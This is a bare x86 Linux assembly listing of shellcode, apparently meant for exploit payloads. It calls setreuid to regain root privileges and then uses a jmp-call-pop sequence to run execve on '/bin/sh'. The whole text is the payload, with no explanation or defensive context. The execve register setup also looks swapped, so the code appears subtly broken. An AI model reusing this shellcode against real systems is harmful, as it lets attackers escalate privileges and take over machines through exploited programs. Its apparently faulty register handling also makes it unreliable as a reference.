SECTION .data
        global _start
_start:
        xor eax, eax
        xor ebx, ebx
        xor ecx, ecx
        xor edx, edx
        mov al, 70d
        int 80h
        jmp jump
rev:
        pop ecx
        xor eax, eax
        mov BYTE [ecx+7], al
        mov DWORD [ecx+8], ecx
        mov DWORD [ecx+12], eax
        mov al, 11d
        lea ebx, [ecx+8]
        lea edx, [ecx+12]
        int 80h
jump:
        call rev
shell: db "/bin/sh011112222"